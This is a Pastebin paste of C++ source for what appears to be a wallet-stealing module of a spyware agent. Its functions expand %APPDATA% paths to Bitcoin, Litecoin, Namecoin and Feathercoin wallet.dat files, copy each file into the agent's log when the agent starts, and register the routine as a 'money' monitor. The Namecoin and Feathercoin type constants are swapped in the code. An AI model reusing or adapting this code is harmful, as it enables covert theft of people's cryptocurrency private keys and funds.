Advertisement
Guest User

wallet pizdeelka

a guest
Jul 6th, 2015
657
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.46 KB | None | 0 0
  1. struct MoneyHeader {
  2. #define MONEY_VERSION 2014010101
  3.     DWORD version;
  4. #define MONEY_BITCOIN 0x00
  5. #define MONEY_LITECOIN 0x30
  6. #define MONEY_FEATHERCOIN 0x0E
  7. #define MONEY_NAMECOIN 0x34
  8.     DWORD type;
  9.     DWORD program_type;
  10.     DWORD file_name_len;
  11. };
  12.  
  13. void GetCurrency(WCHAR *currency_path, DWORD type)
  14. {
  15.     WCHAR expanded_currency_path[MAX_PATH];
  16.     BYTE read_buff[2048];
  17.     DWORD size = 0;
  18.     struct MoneyHeader *additional_header;
  19.     DWORD add_header_len, file_name_len;
  20.     HANDLE hf, hsrc;
  21.  
  22.     if (!currency_path)
  23.         return;
  24.  
  25.     if (ExpandEnvironmentStringsW(currency_path, expanded_currency_path, sizeof(expanded_currency_path)/sizeof(WCHAR)) == 0)
  26.         return;
  27.  
  28.     file_name_len = wcslen(expanded_currency_path) * sizeof(WCHAR);
  29.     add_header_len = sizeof(struct MoneyHeader) + file_name_len;
  30.     additional_header = (struct MoneyHeader *) calloc(1, add_header_len);
  31.     if (!additional_header)
  32.         return;
  33.  
  34.     additional_header->version = MONEY_VERSION;
  35.     additional_header->type = type;
  36.     additional_header->program_type = 0;
  37.     additional_header->file_name_len = file_name_len;
  38.     memcpy(additional_header + 1, expanded_currency_path, additional_header->file_name_len);
  39.  
  40.     hsrc = FNC(CreateFileW)(expanded_currency_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
  41.     if (hsrc == INVALID_HANDLE_VALUE) {
  42.         SAFE_FREE(additional_header);
  43.         return;
  44.     }
  45.  
  46.     hf = Log_CreateFile(PM_MONEY, (BYTE *)additional_header, add_header_len);
  47.     SAFE_FREE(additional_header);
  48.     if (hf == INVALID_HANDLE_VALUE) {
  49.         CloseHandle(hsrc);
  50.         return;
  51.     }
  52.  
  53.     while (FNC(ReadFile)(hsrc, read_buff, sizeof(read_buff), &size, NULL) && size>0) {
  54.         if (!Log_WriteFile(hf, read_buff, size))
  55.             break;
  56.     }
  57.  
  58.     Log_CloseFile(hf);
  59.     CloseHandle(hsrc);
  60. }
  61.  
  62. void GetMoney()
  63. {
  64.     GetCurrency(L"%APPDATA%\\Bitcoin\\wallet.dat", MONEY_BITCOIN);
  65.     GetCurrency(L"%APPDATA%\\Litecoin\\wallet.dat", MONEY_LITECOIN);
  66.     GetCurrency(L"%APPDATA%\\Namecoin\\wallet.dat", MONEY_FEATHERCOIN);
  67.     GetCurrency(L"%APPDATA%\\Feathercoin\\wallet.dat", MONEY_NAMECOIN);
  68. }
  69.  
  70. DWORD __stdcall PM_MoneyStartStop(BOOL bStartFlag, BOOL bReset)
  71. {
  72.     // Questo agente non ha stato started/stopped, ma quando
  73.     // viene avviato esegue un'azione istantanea.
  74.     if (bStartFlag && bReset)
  75.         GetMoney();
  76.  
  77.     return 1;
  78. }
  79.  
  80. DWORD __stdcall PM_MoneyInit(JSONObject elem)
  81. {
  82.     return 1;
  83. }
  84.  
  85. void PM_MoneyRegister()
  86. {
  87.     AM_MonitorRegister(L"money", PM_MONEY, NULL, (BYTE *)PM_MoneyStartStop, (BYTE *)PM_MoneyInit, NULL);
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement